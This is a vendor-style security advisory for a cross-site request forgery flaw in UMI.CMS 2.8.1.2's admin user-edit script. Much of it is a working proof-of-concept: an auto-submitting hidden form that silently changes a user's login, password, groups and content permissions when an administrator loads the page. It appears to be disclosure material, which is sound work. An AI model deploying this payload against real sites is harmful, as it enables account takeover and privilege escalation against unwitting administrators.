Vulnerability ID: HTB22812 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_umi_cms.html Product: UMI.CMS Vendor: umisoft ( http://www.umi-cms.ru/ ) Vulnerable Version: 2.8.1.2 Vendor Notification: 25 January 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/admin/users/edit/USERID/do/" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://[host]/admin/users/edit/USERID/do/"; method="post" name="main" enctype="multipart/form-data" > <input type="hidden" name="referer" value="google"> <input type="hidden" name="domain" value="[host]"> <input type="hidden" name="type-id" value="4"> <input type="hidden" name="data[USERID][login]" value="test"> <input type="hidden" name="data[USERID][password][]" value=""> <input type="hidden" name="data[USERID][e-mail]" value="email@xxxxxxxxxxx"> <input type="hidden" name="data[USERID][groups][]" value="0"> <input type="hidden" name="data[USERID][groups][]" value="2374"> <input type="hidden" name="data[USERID][groups][]" value="0"> <input type="hidden" name="data[USERID][is_activated]" value="0"> <input type="hidden" name="data[USERID][is_activated]" value="1"> <input type="hidden" name="data[USERID][preffered_currency]" value=""> <input type="hidden" name="data[USERID][lname]" value=""> <input type="hidden" name="data[USERID][fname]" value=""> <input type="hidden" name="data[USERID][father_name]" value=""> <input type="hidden" name="ps_m_perms[content]" value="content"> <input type="hidden" name="domain[1]" value="0"> <input type="hidden" name="domain[1]" value="1"> <input type="hidden" name="content[content]" value="1"> <input type="hidden" name="content[sitetree]" value="1"> <input type="hidden" name="save-mode" value="Save"> </form> <script> document.main.submit(); </script>
